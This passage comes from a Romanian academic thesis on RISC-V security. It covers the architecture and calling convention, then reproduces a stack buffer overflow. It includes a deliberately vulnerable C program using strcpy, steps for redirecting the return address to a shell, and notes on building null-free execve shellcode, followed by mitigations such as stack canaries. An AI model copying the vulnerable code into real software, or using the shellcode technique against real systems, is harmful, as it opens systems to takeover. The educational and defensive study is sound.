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Capitolul 1

Motivat, ie

RISC-V este una dintre cele mai moderne arhitecturi concepută astfel încât să integreze
calităt, ile arhitecturilor mai vechi s, i să elimine erorile descoperite de-a lungul timpului pe
acestea. Utilizată tot mai des, a adunat până în prezent în comunitate în mai put, in de 11
ani mai mult de 100 de firme membre.

De asemenea, scopul ei educativ este unul la fel de important fiind dezvoltată ca un proiect
de cercetare. Această arhitectură este realizată astfel încât să poată fi utilizată pentru tot
felul de componente electronice de la cei mai mici senzori până la dispozitive extrem de
complexe precum un server.

Astfel, analiza securităt, ii este de o important,ă vitală. Transparent,a arhitecturii RISC-V,
precum s, i modalitatea în care este realizată prin despărt, irea diverselor operat, ii în seturi dife-
rite fac ca aceasta să fie considerată una dintre cele mai sigure arhitecturi. Găsirea rădăcinii
unei erori devine o treabă mult mai us,oară prin ment, inerea unei simplităt, i la nivelul seturilor
utilizate. Practic, limitarea doar la seturile necesare implică evitarea posibilelor complicat, ii
ce ar putea fi aduse prin includerea necontrolată a tuturor instruct, iunilor.

Cu toate acestea, în diverse contexte, unele atacuri bine cunoscute pot fi în continuare
reproduse, iar tineret,ea arhitecturii îs, i spune cuvântul întrucât unele tehnici clasice de mi-
tigare a diverselor atacuri nu sunt încă implementate pentru RISC-V. Astfel, prezentarea
unei imagini de ansamblu este imperios necesară pentru a atrage atent, ia asupra posibilelor
riscuri s, i elimina deci eventualele erori, păstrând dispozitivele ce folosesc RISC-V extrem de
sigure, as,a cum, de altfel, la bază această arhitectură este proiectată.

În plus, frumuset,ea acestei arhitecturi constă tocmai în urcarea etapizată către dobândi-
rea unei performant,e similare arhitecturilor moderne din zilele noastre, dar pe o rută sigură,
care să nu aducă aceleas, i probleme în fat,ă. Această dezvoltare continuă conduce bineînt,eles
la crearea de nuclee care să încerce să atingă pragul cel mai înalt din punct de vedere al
performant,ei s, i securităt, ii. Un astfel de nucleu dezvoltat acum 3 ani este BOOM, un nucleu
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cu execut, ie speculativă care încearcă să se clădească fără a repeta gres,elile din trecut. Totus, i,
proiectul nu a ajuns încă în acest punct s, i parte din problemele existente pe arhitecturile
speculative au fost aduse s, i aici.

În capitolele următoare va fi prezentat unul dintre cele mai de impact atacuri - Spectre
s, i modul în care acesta act, ionează pe acest nou nucleu RISC-V s, i de asemenea va fi propusă
o modalitate de mitigare a unei versiuni de atac. În mod evident, motivat, ia este dictată de
dorint,a de a cres,te s, i de a aduce solut, ii pentru rezolvarea diverselor vulnerabilităt, i încă de
la începutul proiectului.

Astfel acest studiu va reda câteva dintre problemele existente chiar s, i pe această arhitectură
extrem de sigură, prezentând câteva tehnici de mitigare s, i introducând o nouă modalitate de
apărare împotriva atacului Spectre, versiunea a doua. Studiul va scoate la iveală necesitatea
de a scrie un cod cât mai corect s, i se va axa în principal pe tehnici prin care vulnerabilităt, ile
pot fi rezolvate de la nivel de cod, fără a se pune accentul pe solut, iile implementate la nivel
hardware.
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Capitolul 2

Arhitectura RISC-V

RISC-V este o arhitectură relativ nouă dezvoltată în anul 2010 în cadrul departamentului
de Arhitectura Calculatoarelor de la Universitatea Berkeley din SUA. Evident, aceasta este
o arhitectură de tip RISC concepută astfel încât să păstreze instruct, iunile s, i conceptele
clasice, dar în acelas, i timp să permită diverse Variat, ii în funct, ie de necesităt, i.

Init, ial, RISC-V a fost creată pentru a sprijini cercetarea s, i educat, ia, motiv pentru care
a fost publicată ca o arhitectură deschisă, gratuită pentru tot, i cei care doresc să o folo-
sească. A devenit rapid cunoscută, accesibilitatea transformând-o într-un punct de interes
pentru numeros, i cercetători. În mod clar, acesta a reprezentat un imens avantaj, dezvoltarea
instrumentelor pentru folosirea ei realizându-se extrem de rapid în cadrul unui mediu atât
de competitiv.

Un alt avantaj considerabil este reprezentat de generalitatea ei. Cele mai utilizate arhi-
tecturi - X86 s, i ARM sunt folosite în domenii specifice s, i nu se pretează la extinderea în
afara acestora. În schimb, RISC-V pleacă de la o formă minimală, cu un set instruct, iuni
limitat, oferind posibilitatea adăugării a numeroase extensii. Astfel, poate fi utilizată atât
în cadrul aplicat, iilor embedded unde rapiditatea s, i simplitatea sunt factori decisivi, cât s, i
pentru dezvoltarea eficientă de implementări sofisticate.

Mai mult de atât, realizarea acestui proiect a pornit de la zero, eliminând astfel orice con-
strângere legată de eventuale compatibilităt, i cu versiuni anterioare. Preluând lect, iile învăt,ate
de la alte procesoare mai vechi, RISC-V devine astfel în ochii a numeroase companii arhi-
tectura viitorului [26]. După mult, i ani în care arhitecturile x86 s, i ARM au dominat piat,a,
există o alternativă extrem de bine primită pentru care interesul este într-o continuă cres,tere
s, i despre care se preconizează că va evolua foarte rapid [38].
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Figura 2.1: Predict,ia evolut,iei numărului de procesoare RISC-V

2.1 Privire de ansablu asupra arhitecturii

Instruct, iunile de bază ale arhitecturii RISC-V sunt similare celorlalte arhitecturi RISC s, i
sunt suficiente pentru a oferi un target minimal în jurul căruia pot fi dezvoltate compila-
toare, asambloare, linkere s, i chiar sisteme de operare (cu un strat suplimentar de instruct, iuni
la nivel de supervisor).

Procesoarele RISC-V sunt procesoare de tip load-store, instruct, iunile fiind pe 32 de bit, i,
extrem de simple. Accesul la adrese din memorie se realizează doar prin regis,tri, operat, iile
aritmetice s, i logice putând fi aplicate numai asupra acestora. Ordonarea octet, ilor este de
tip little-endian, cel mai put, in semnificativ byte situându-se la cea mai mică adresă.

As,a cum am prezentat anterior, există un set de instruct, iuni de bază. Procesoare spe-
cializate pentru diverse domenii pot fi apoi create în jurul acestui schelet prin adăugarea
extensiilor necesare. Un astfel de set de instruct, iuni este definit în primul rând de mărimea
regis,trilor, existând trei variante - RV32I, RV64I s, i din anul 2019 s, i RV128I. Acestea implică
o mărime a spat, iilor de adresă de 32, 64, respectiv 128 de bit, i. În al doilea rând, bineînt,eles,
setul este reprezentat de extensia utilizată. Vom ment, iona în continuare câteva astfel se
seturi pentru arhitectura pe 64 de bit, i, pentru 32 s, i 128, existând seturi similare [39]:

• RV64I - setul de bază ce include instruct, iuni de încărcare, stocare, instruct, iuni aritmetico-
logice, toate realizate pe întregi, precum s, i instruct, iuni de control al fluxului. Acestea
sunt obligatorii pentru orice implementare;

• RV64M - la setul de bază se adaugă instruct, iuni de multiplicare s, i diviziune pe întregi;

• RV64F - se adaugă instruct, iuni pentru operat, ii aritmetice cu numere reprezentate în
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virgulă mobilă cu simplă precizie (float);

• RV64D - se adaugă instruct, iuni pentru operat, ii aritmetice cu numere reprezentate în
virgulă mobilă cu dublă precizie (double);

• RV64A - se adaugă instruct, iuni de citire, scriere s, i modificare a memoriei pentru
sincronizare inter-procese;

• RV64G - este target-ul de bază pentru compilatoarele actuale s, i cuprinde setul de
bază s, i toate extensiile descrise mai sus ("IMAFD");

• RV64C - este folosit pentru dispozitivele cu memorie limitată, comprimând instruct, iunile
de bază pe 16 bit, i.

Tot în sursa [39] sunt ment, ionate s, i alte extensii ce vor fi acceptate în viitor precum operat, ii
de manipulare a bit, ilor, operat, ii pe vectori etc.

Arhitectura RISC-V prezintă trei nivele de privilegii - Machine (M), User (U) s, i Super-
visor(S). Toate implementările trebuie să suporte nivelul mas, ină, nivel la care poate fi rulat
direct cod în asamblare în cadrul micilor dispozitive embedded. Nivelul cu privilegii de utili-
zator este folosit pentru aplicat, ii mai complexe, încărcarea s, i începerea acestora având loc la
nivelul M, controlul fiind apoi transferat către nivelul U unde aplicat, ia este rulată. Pentru
utilizarea unui sistem de operare, în plus va fi folosit s, i nivelul de privilegii de supervizor
care va juca rolul de kernel. Comunicarea între modurile U s, i S se realizează prin folosirea
unui apel se sistem la nivelul U care generează o except, ie tratată la nivelul S.

În acest context, în anul 2018, a fost lansată pe piat,ă HiFive - prima placă cu procesor
de RISC-V capabilă să suporte Linux, Unix s, i FreeBSD.

2.2 RV64I

În atacurile descrise în capitolele viitoare vor fi folosite instruct, iuni apart, inând familiei
RV64G, dar întrucât operat, iile vor fi destul de simple, prezentarea va fi limitată la acest
set de bază.

Există 31 de regis,tri generali x0-x31, dintre care doar 30 sunt utilizabili. Registrul x0
este fixat pentru a stoca întotdeauna valoarea 0. Orice alt registru are o denumire specială
s, i este folosit întotdeauna în contexte clare:

• ra (x1) - return address, este folosit pentru a ret, ine adresa de retur dintr-o funct, ie.
Este un registru caller-saved - pentru regăsirea valorii după apel este necesar să fie
salvat de apelant;

• sp (x2) - stack pointer, indică întotdeauna către vârful stivei;
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• gp (x3) - global pointer, indică înspre sect, iunea de date, fiind utilizat în diverse procese
de relaxare a codului;

• tp (x4) - thread pointer, utilizat pentru accesarea zonelor de memorie alocate special
pentru fire diferite de execut, ie;

• t0 - t6 (x5 - x7, x28 - x31) - regis,tri folosit, i pentru stocarea unor valori temporare, de
tip caller-saved;

• fp (s0 sau x8) - frame pointer, indică întotdeauna baza stivei pentru cadrul de apel
curent s, i este un registru callee-saved care trebuie să fie salvat de către funct, ia apelată;

• s1 - s11 (x9, x18 - x27) - regis,tri uzuali a căror valoare nu este modificată în urma
unui apel, callee-saved;

• a0 - a1 (x10, x11) - regis,tri folosit, i pentru depozitarea argumentelor s, i returnarea
valorilor;

• a2 - a7 (x12 - x17) - regis,tri folosit, i doar pentru depozitarea argumentelor.

Pe lângă aces,tia, există bineînt,eles registrul special PC care stochează adrese pe 32 de bit, i
din zona de text, indicând către instruct, iunea curentă.

Instruct, iunile au dimensiune fixă s, i sunt aliniate la 32 de bit, i. Recunoas,terea lor se face
bazat pe 3 câmpuri opcode, funct7, funct3 s, i fac parte din 4 formate specifice. Astfel, o
instruct, iune poate fi de tipul R, având ca operanzi trei regis,tri - două surse s, i o destinat, ie;
formatul I - un registru sursă, un registru destinat, ie s, i o valoare imediată; formatul S - 2
regis,tri sursă s, i o valoare imediată s, i formatulU - un registru destinat, ie s, i o valoare imediată.
În plus, mai există s, i formatele B s, i J cu aceeas, i distribuire a bit, ilor precum în formatele
S s, i U. Ele sunt folosite în cadrul instruct, iunilor de salt, astfel că bit, ii 0 s, i 1 din valoarea
imediată vor fi întotdeauna 0 s, i pot fi refolosit, i pentru stocarea a 2 bit, i suplimentari pentru
adrese până la de 4 ori mai mari.

Figura 2.2: Formatele instruct,iunilor din setul RV64I [39]

Există 47 de instruct, iuni mos,tenite de la versiunea pe 32 de bit, i dintre care 39 sunt folosite
pentru operat, ii clasice s, i sunt similare celorlalte arhitecturi RISC. Celelalte 8 sunt utilizate
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pentru apeluri de sistem s, i măsurători de performant,ă.

add/sub adunare/scădere

addi adunare cu un întreg cu
semn

sll, srl, shiftare logică la stânga
slli, srli sau la dreapta

sra, srai shiftare aritemetică la
dreapta

and, andi
or, ori operat, ii logice pe bit, i

xor, xori

slt, slti,
sltu, sltui

registrul destinat, ie este
setat 1 dacă primul

operand este mai mic decât
al doilea

lui
întregul pe 20 de bit, i se

încarcă în bit, ii superiori ai
registrului destinat, ie

auipc
întregul pe 20 de bit, i se
încarcă în bit, ii superiori

din PC
Tabela 2.1: Instruct,iuni aritmetice s,i logice

beq, bne,
blt, bltu,
bge, bgeu

are loc salt la etichetă dacă
primul operand este egal,
diferit, mai mic, respectiv
mai mare decât al doilea

(cu sau fără semn)

jal

are loc salt la valoarea
imediată, iar registrul

destinat, ie ia valoarea pc +
4

jalr

face salt la o adresa
obt, inută prin adunarea
dintre un registru s, i o

valoare pe 12 bit, i (e folosit
de obicei alături de auipc)

Tabela 2.2: Instruct,iuni de ramificare s,i salt

lb, lbu,
lh, lhu,

lw

încarcă un byte, un
half-word sau un word în

registrul destinat, ie

sb, sh, sw depune din registru în
memorie

Tabela 2.3: Instruct,iuni de transfer între memorie s,i
regis,tri

Pentru lucratul cu mai multe fire paralele, este necesar un mecanism de sincronizare a
execut, iei. Instruct, iunea fence primes,te 2 operanzi. Primul specifică tipurile de accese
în memorie ce trebuie să fie finalizate până la realizarea altor accese în memorie specificate
în al doilea operand. Operat, iile care pot fi specificate sunt de citire (r), de scriere (w) sau de
tip input/output (i/o). De exemplu, instruct, iunea fence ir, ow presupune ca orice operat, ie
de citire sau de introducere de input să fie terminată pe oricare fir de execut, ie înaintea de
realizare unei operat, ii de stocare sau afis,are. În plus, mai există s, i instruct, iunea fence.i
care se asigură că orice stocare în memorie s-a încheiat până finalizarea acesteia.

Pentru prezentarea instruct, iunilor de sistem, este nevoie să precizăm mai întâi regis,trii de
control s, i stare (csr). Aces,tia sunt folosit, i pentru a ret, ine informat, ii despre starea proce-
sorului, nivelul de privilegii în care se află, informat, ii despre execut, ie dacă se generează o
except, ie s, .a.m.d. Pentru setul de bază ei sunt în număr de 6: cycle s, i cycleh - partea
superioară s, i inferioară a unei valori pe 64 de bit, i ce reprezintă timpul calculat în cicluri;
time s, i timeh - pentru timpul real s, i inst s, i insth - numărul de instruct, iuni finalizate ale
căror rezultate sunt vizibile.

În plus, varianta pe 64 de bit, i adaugă un număr de instruct, iuni cu rol similar celor descrise an-

7



ecall apel de sistem
break breakpoint pentru debugger

csrrw, csrrwi
valoarea dintr-un csr este mutată într-un registru destinat, ie, iar valoarea
dintr-un registru sursă sau valoarea imediată este mutată în csr. Dacă

registrul destinat, ie e x0, vechea valoare a lui csr nu se păstrează.
csrrc, csrrci,
csrrs, csrrsi

Similar, doar că registrul sursă sau valoarea imediată specifică ce bit
din csr să fie curăt,at/setat.

Tabela 2.4: Instruct,iuni de sistem

terior, dar folosind operanzi în variantă sign-extended: addiw, slliw, srliw, sraiw, addw,
subw, sllw, srlw, sraw. De asemenea, apar instruct, iunea lwu pentru încărcarea unei va-
lori pe 32 de bit, i în varianta sign-extended s, i instruct, iunile sd s, i ld pentru operarea cu valori
pe 64 de bit, i.

Pe lângă aceste instruct, iuni, procesorul acceptă s, i o serie de pseudoinstruct, iuni care se
traduc în una sau mai multe instruct, iuni de bază. Cele mai importante sunt ilustrate în
tabelul 2.5.

nop addi x0, x0, 0
mv rd, rs addi rd, rs, 0
j offset jal x0, offset
jal offset salt adresă pe 20 de bit, i
call offset salt adresă pe 32 de bit, i

ret jalr x0, 0(ra)
li rd, immed addi rd, x0, immed
beqz rs, offset beq rs, x0, offset

Tabela 2.5: Pseudoinstruct,iuni [26]

2.3 Convent, ia de apel

Transmiterea argumentelor între funct, ia apelantă s, i cea apelată se realizează prin regis,trii
a0 - a7, iar returnare valorilor prin a0 - a1. Dacă o funct, ie are mai mult de opt parame-
tri sau mai mult de două valori returnate, transmiterea se realizează s, i prin stivă. Astfel,
argumentele sunt încărcate înainte de apel, iar pentru valorile returnate apelantul alocă de
asemenea o zonă corespunzătoare în care funct, ia apelată va depune valori ca s, i cum ar fi
primit un argument prin referint,ă.

În cazul apelului unei funct, ii de sistem, numărul specific al acesteia va fi ret, inut în re-
gistrul a7, regis,trii a0 - a5 fiind folosit, i în continuare pentru stocarea argumentelor, iar a6
fiind inutilizat. Codul de retur va fi memorat în registrul a0.
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Stiva cres,te în jos, de la adrese mari spre cele mici, iar stack pointer-ul trebuie să fie aliniat
întotdeauna la 16 octet, i (128 de bit, i). Controlul elementelor din stivă se face prin cei doi
pointeri care delimitează spat, iul de adresă de pe stivă al unei funct, ii - sp s, i fp. Nu există
instruct, iuni speciale pentru adăugarea sau scoaterea unui element din stivă. Stack pointer-ul
cres,te sau scade în funct, ie de ceea ce trebuie adăugat sau s,ters de pe stivă.

Figura 2.3: Stiva

Apelul unei funct, ii presupune realizarea unui cadru de apel. Astfel chiar dacă specificat, iile
din ABI [11] (Application Binary Interface) indică faptul că ra este un registru caller-saved,
acest lucru nu este aplicabil în momentul creării cadrului. În cazul în care acest registru este
folosit cu un alt scop, funct, ia apelant nu trebuie să se as,tepte ca valoarea să fie restituită
după apel. În schimb, perceput ca registrul folosit pentru stocarea adresei de retur, el este
parte a cadrului de apel, reprezentând prima valoare depusă pe stivă în momentul intrării
într-o funct, ie. Valoarea sa este restituită când are loc întoarcerea în funct, ia principală.

În continuare, pe stivă este depus, de asemenea, fp, a cărui valoare reprezintă baza spat, iului
atribuit pentru funct, ia apelată. Valoarea sa trebuie recuperată la întoarcerea din funct, ie
pentru a se realiza o revenire corectă în spat, iul apelantului. Mai departe, pe stivă vor fi
salvat, i regis,tri callee-saved s1 - s11 s, i eventualele variabile locale.

Astfel, luând în calcul toate cele ment, ionate anterior, pe o arhitectură de 64 de bit, i, un
prolog s, i un epilog al unei funct, ii în cea mai simplă variantă arată ca în fragmentele de cod
de mai jos.

1 addi sp , sp , -16 # adauga spatiu pe stiva
2 sw ra , 8(sp) # salveaza valoarea adresei de intoarcere
3 sw fp , 0(sp) # salveaza valoarea frame pointer -ului
4 addi fp , sp , 16 # modifica baza stivei

Cod 2.1: Prolog funct,ie

1 lw fp , 0(sp) # recupereaza valoarea frame pointer -ului
2 lw ra , 8(sp) # recupereaza valoarea adresei de intoarcere
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3 addi sp , sp , 16 # reduce dimensiunea stivei
4 jr ra # intoarcerea in apelant

Cod 2.2: Epilog funct,ie
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Capitolul 3

Buffer overflow

3.1 Descrierea atacului

Buffer overflow este unul dintre cele mai cunoscute atacuri ce pot apărea în limbajele C,
C++ sau în asamblare. Des, i apărut acum mai bine de 30 de ani, el reus,es,te încă să producă
probleme. Un exemplu recent a fost descoperit chiar la finalul anului trecut, sistemele de
operare Solaris (9.0, 10.0 s, i 11.0) prezentând o vulnerabilitate care putea fi exploatată prin
acest atac [36].

Atacul presupune scrierea într-o zonă de pe stivă sau heap, ce nu ar trebui să fie accesi-
bilă, prin scrierea într-un vector fără verificarea dimensiunii lui. Depăs, irea spat, iului alocat
pentru acesta duce indirect la posibilitatea de rescriere a unor zone adiacente lui. Astfel,
pot fi rescrise diferite variabile sau regis,tri ce pot modifica total execut, ia programului.

De cele mai multe ori, un buffer este stocat pe stivă, iar scrierea peste margine duce la
modificarea celorlalte variabile salvate local, frame pointer-ului, adresei de retur sau a altor
regis,tri. O scriere necontrolată va duce în general la întreruperea execut, iei s, i aparit, ia unei
except, ii. În schimb, un atacator poate controla zonele pe care s, i le dores,te a fi modificate
s, i să schimbe adresa ret, inută de un pointer către o funct, ie sau să modifice adresa de retur
astfel încât controlul programului să fie îndreptat spre zona de cod ce se dores,te a fi executată.

O astfel de încercare poate fi tradusă prin dorint,a de a lansa în execut, ie un shell pen-
tru a putea prelua controlul asupra întregului sistem. În cazul unui program vulnerabil în
care această execut, ie se realiza deja, dar doar într-un context aparte, atacatorul poate realiza
cu us,urint,ă lansarea doar prin scrierea adresei de retur către zona de cod dorită.

Dacă un astfel de apel nu se realiza într-o zonă din executabil, iar sistemul atacat este
unul nesigur, se poate injecta totus, i propriul cod s, i modifica adresa de retur pentru a indica
spre codul introdus. Un astfel de cod poartă denumirea de shellcode.
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Vulnerabilitatea aceasta este introdusă prin câteva funct, ii care nu t, in de cont de lungimea
unui buffer în momentul scrierii în zona respectivă: gets, strcpy, strcat, scanf, getwd,
realpath. Folosirea acestor funct, ii fie din neatent, ia dezvoltatorilor, fie prin perpetuarea lor
din versiuni extrem de vechi ale aplicat, iei, va duce la compromiterea programului.

Astfel, indiferent de arhitectură este de o important,ă vitală să se cunoască mai întâi vulnerabilităt, ile
limbajelor s, i modul în care pot fi exploatate. Chiar dacă RISC-V este una dintre cele mai
sigure arhitecturi, atacul de tip buffer overflow poate fi încă reprodus s, i a fost prezentat
pentru prima dată în anul 2019 la Embedded Linux Conference Europe [30].

3.2 Reproducerea atacului

Pentru reproducerea atacului a fost necesară descărcarea unei imagini de Fedora RISC-V
s, i rularea acesteia folosind emulatorul QEMU care simulează rularea pe un nucleu virtual
pe 64 de bit, i. Pentru aceasta au fost urmat, i pas, ii descris, i în sursa [2]. Imaginile Fedora
sunt realizate pentru arhitecturi pe 64 de bit, i s, i vin în mai multe forme - Nano, Minimal,
Developer s, i Gnome. Versiunea Developer a fost cea aleasă întrucât are deja instalate
pachetele necesare, iar ultima versiunea disponibilă cu numărul 31 oferă tool-uri native ce
pot fi utilizate exact ca pe x86.

Compilatorul este configurat astfel încât să emită în mod implicit instruct, iuni din setul
RV64GC s, i se va prefera această utilizare întrucât diversitatea instruct, iunilor face posibilă
o realizare mai us,oară a atacului.

Pentru început să considerăm programul vulnerabil din caseta de mai jos.

1 // buffer_overflow .c
2 # include <stdio.h>
3 # include <string .h>
4 # include <stdlib .h>
5
6 void shell () {
7 system ("/bin/bash");
8 }
9

10 void vulnerable (char *input) {
11 char buf [120];
12 strcpy (buf , input );
13 printf ("%lx\n", buf );
14 printf ("%lx\n", &shell );
15 printf (" Vulnerable function \n");
16 }
17
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18 int main(int argc , char ** argv) {
19 if (argc < 2) {
20 printf ("Wrong number of arguments ");
21 return -1;
22 }
23 vulnerable (argv [1]);
24 return 0;
25 }

Cod 3.1: Program vulnerabil la un atac de tip buffer overflow

Programul primes,te ca argument un string care va fi transmis funct, iei vulnerable. În
această funct, ie este declarat un vector de caractere de dimensiune 120 care va fi alocat pe
stivă s, i în care va fi copiat argumentul utilizându-se funct, ia nesigură strcpy care nu verifică
numărul de caractere copiate. Astfel, un argument cu mai mult de 120 de caractere va scrie
în afara memoriei alocate pentru vector. As,a cum a fost ment, ionat în capitolul anterior, în
descrierea formării cadrului de apel, pentru acest program vor fi suprascrise în continuare
valorile frame pointer-ului s, i valoarea de întoarcere din funct, ie.

Figura 3.1: Stiva funct,iei vulnerable din timpul atacului

As,adar, programul va ajunge în punctul în care va restaura valoarea adresei de întoarcere,
iar în finalul funct, iei va sări la valoarea indicată care în cazul scrierii a 136 de octet, i, va fi
reprezentată de ultimii 8 octet, i introdus, i de utilizator. O introducere aleatoare ar conduce
în cele mai multe cazuri la aparit, ia unei except, ii întrucât se încearcă saltul la o zonă de
memorie extrem de probabil invalidă. Pentru a fructifica totus, i această vulnerabilitate vom
considera ultimii 8 octet, i ca fiind adresa funct, iei shell care va deschide un terminal nou
pentru utilizator. Stiva va arăta precum cea prezentată în figura 3.1. Programul a fost con-
ceput astfel încât să ilustreze vulnerabilitatea studiată, astfel că adresa acestei funct, ii a fost
printată pe parcursul execut, iei. Aceasta totus, i se putea afla s, i folosind un debugger întrucât
adresa la care codul este pozit, ionat este constantă. Acest tip de atac poartă denumirea de
return-to-libc (ret2libc) s, i presupune în general saltul la o funct, ie din biblioteca standard
libc întrucât opt, iunile sunt mult mai numeroase. Este utilizat cu precădere pe arhitectura
x86 unde argumentele pot fi luate de pe stivă. Mult,umită convent, iei de apel care presupune
transmiterea prin regis,tri, folosirea lui în cazul RISC-V este posibilă numai într-un caz si-
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milar celui prezentat anterior.

Figura 3.2: Suprascrierea adresei de retur cu adresa unei funct,ii cunoscute

Avantajul introdus de acest program este reprezentat de existent,a unei secvent,e de cod spre
care execut, ia poate fi reorientată pentru a fi lansat un shell. În lipsa unui astfel de fragment,
trebuie realizat, i nis,te pas, i suplimentari. Pentru aceasta vom considera din nou programul
vulnerabil de mai sus s, i vom încerca să obt, inem acelas, i comportament, dar făcând abstract, ie
de funct, ia shell. Pentru reus, ita acestui atac, vom dezactiva mai întâi ASLR-ul, mecanism
despre care vom vorbi în sect, iunea următoare.

Astfel, dorim să obt, inem un cod care va produce lansarea unui terminal, să îl pozit, ionăm pe
stivă s, i să suprascriem adresa de retur cu adresa de început a codului respectiv. O primă
etapă este să construim un program în C format dintr-o funct, ie execve care va fi apelată cu
argumentele "/bin/bash", 0 s, i 0 întrucât nu dorim să transmitem niciun argument progra-
mului s, i nicio variabilă de mediu. Pentru a evita declararea string-ului în sect, iunea .rodata,
vom folosi în schimb conversia directă a sa în ASCII. Vom declara, deci, un vector de trei
întregi care va înlocui cele 9 caractere (un întreg este de tip word s, i poate ret, ine patru
octet, i, echivalentul a patru caractere). Adresa acestui vector va fi transmisă ca prim argu-
ment funct, iei. Compilând cu opt, iunea -S, vom obt, ine un prim cod în asamblare ce poate fi
utilizat pentru a lansa terminalul.

O primă problemă identificată în cod este apelarea funct, iei execve din biblioteca standard
C. Întrucât codul în asamblare trebuie să funct, ioneze independent este necesară o modifi-
care. As,adar în loc de apelarea acestei funct, ii din bibliotecă, vom realiza apelarea funct, iei
sistem cu acelas, i nume. Vom căuta în fis, ierul /usr/include/asm-generic/unistd.h nu-
mărul cu care este definită funct, ia s, i vom descoperi că execve se identifică prin 221. Această
valoare va fi încărcată în registrul a7 s, i se va realiza apelul funct, iei sistem prin introducerea
instruct, iunii ecall.

Odată obt, inut un cod de asamblare valid care poate fi executat în vederea obt, inerii unei
linii de comandă, ne putem gândi la folosirea lui în cadrul programului. Introducerea lui
sub de formă de octet, i ca argument al programului va ridica totus, i o altă problemă. Funct, ia
strcpy care face posibilă stocarea lui pe stivă, realizează copierea în locat, ia indicată până
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la întâlnirea un octet nul. În plus, datorită formatului programului, primul argument va fi
considerat s, irul de caractere până la întâlnirea unui spat, iu. Pentru a putea, deci, obt, ine un
cod complet s, i corect sunt necesare câteva substitut, ii de instruct, iuni ce vor elimina existent,a
octet, ilor \x00 s, i \x20 (codul ASCII pentru spat, iu).

Folosind radare2, un tool utilizat pentru analiza binarelor, am identificat instruct, iunile
în a căror codificare se regăsesc octet, ii specificat, i.

1 0x000100 b6 0010 addi s0 , sp , 32
2 0x000100 c0 2320 f4fe sw a5 , -32(s0)
3 0x000100 e6 73000000 ecall

Cod 3.2: Instruct,iuni cu codificări ce cont,in \x00 s,i \x20

Codul de asamblare init, ial poate fi consultat în Anexa A. După cum se poate observa, nicio
valoare de până în ecall nu este încărcată relativ la s0. În schimb, sunt depuse valori relativ
la acesta. Codificarea impune modificarea valorii imediate, astfel că t, inând seama de cele
ment, ionate anterior, putem pune orice altă valoare, dar este preferabil să fie mai mare decât
valoarea init, ială 32. Instruct, iunea cu care va fi înlocuită va fi următoarea: addi s0, sp, 36.

Cea de-a doua instruct, iune este cea care pozit, ionează pe stivă prima dintre cele trei va-
lori. Obt, inerea octetului \x20 are loc prin folosirea valorii imediate 32. Întrucât dorim să
nu mai folosim această valoare s, i în acelas, i timp să avem toate valorile din vector la spat, ii
de adrese continue, va trebui ca 32 să nu apară nici la stocarea ultimului word. Astfel că în
noua scriere vom depozita valorile la distant,a −44, −40 s, i −36. Această modificare implică
s, i modificarea adresei vectorului ret, inută în a5. Instruct, iunea init, ială addi a5,s0, -32 va
fi înlocuită cu addi a5,s0, -44.

În final, instruct, iunea ecall are în component,ă trei octet, i de 0. În aceste condit, ii vom
crea codificarea sa s, i o vom pune pe stivă, urmând ca saltul să se realizeze la executarea
acestei valori de pe stivă. Încărcam valoarea 0x73 (115) la o distant,ă de −240 de stack po-
inter. Ulterior mutăm într-un registru adresa sp-276, folosindu-ne apoi de instruct, iunea jr
pentru a sări la execut, ia bytecode-ului aflat la distant,ă 36 de registru. Situarea valorii la o
adresă atât de joasă se datorează includerii shellcode-ului în cadrul programului nostru init, ial
unde stiva era deja ocupată cu mult mai multe valori, evitând astfel o eventuală suprapunere.

Varianta finală a codului ce va fi inserat pe stivă se găses,te tot în Anexa A. Acesta va
fi preluat s, i pozit, ionat de la începutul buffer-ului vulnerabil. Completarea până la 120 de
caractere se va realiza cu caractere la întâmplare. Apoi se vor adăuga încă 8 caractere pen-
tru suprascrierea frame pointer-ului s, i în final adresa de început a vectorului va suprascrie
adresa de retur. O ilustrare a realizării atacului este prezentă mai jos.
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Figura 3.3: Suprascrierea adresei de retur cu adresa unei shellcode

3.3 Posibile tehnici de mitigare

Pentru evitarea unor astfel de atacuri există câteva metode de protect, ie. Prima s, i probabil
cea mai grea este evident scrierea unui cod corect. Pe de o parte, orice scriere într-un vector
ar trebui să fie precedată de o verificare a dimensiunii, astfel încât limita de spat, iu să nu fie
încălcată. Pe de cealaltă parte, utilizarea funct, iilor vulnerabile ar trebui să aibă loc numai
în anumite contexte în care se cunoas,te cu exactitate dimensiunea vectorului din care se
realizează copierea.

Pentru arhitecturile mai vechi, folosirea unor astfel de funct, ii în contexte vulnerabile sau
accesarea elementelor ce se află în afara spat, iului alocat pot fi identificate prin utilizarea
unor programe de analiză statică s, i dinamică. Din păcate, prea put, ine programe de acest
tip au fost deocamdată portate pe RISC-V, iar cele existente trebuie să fie cumpărate. În
plus, în momentul de fat,ă, arhitectura este folosită în special pentru dispozitive cu put, ine re-
surse, iar verificarea securităt, ii aplicat, iilor vine cu un cost destul de mare în ceea ce prives,te
performant,a. Chiar s, i în contextul dezvoltării instrumentelor de verificare s, i introducerii lor
în procesul de compilare sau execut, ie, este în continuare extrem de probabil ca programatorii
să nu opteze pentru folosirea lor. Astfel că cea mai sigură metodă de prevent, ie rămâne în
continuarea cunoas,terea riscurilor s, i scrierea de cod corect în conformitate cu standardele
de sigurant,ă.

De asemenea, pentru evitarea rescrierii adresei de retur, compilatorul oferă opt, iunea
-fstack-protector care introduce pe stivă un număr aleator denumit stack cookie sau
stack canary. Valoarea aceasta este verificată la ies, irea din funct, ie pentru a se asigura că
nu a fost modificată pe parcursul execut, iei.
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1 lui a5 ,%hi( __stack_chk_guard )
2 ld a5 ,%lo( __stack_chk_guard )(a5)
3 sd a5 , -24( s0)
4
5 ...
6
7 lui a5 ,%hi( __stack_chk_guard )
8 ld a4 , -24( s0)
9 ld a5 ,%lo( __stack_chk_guard )(a5)

10 beq a4 ,a5 ,.L3
11 call __stack_chk_fail
12 .L3:

Cod 3.3: Stack canary

Acest mecanism de protect, ie poate fi s, i el păcălit, dar pentru aceasta este nevoie ca pro-
gramul să prezinte o vulnerabilitate nouă care să conducă la printarea de valori de pe stivă.
Odată descoperită valoarea acestui stack canary, trebuie t, inut cont ca în conceperea inpu-
tului, rescrierea să se realizeze corect, cu acest număr descoperit.

O altă protect, ie introdusă de sistemul de operare, DEP (Data Execution Prevention),
este marcarea stivei ca o zonă în care nu se poate introduce cod care să fie executat. Totus, i
opt, iunea introdusă la compilare z execstack poate modifica această protect, ie. Folosirea
acestui sistem de operare în care instrumentele sunt deja existente a condus la folosirea unui
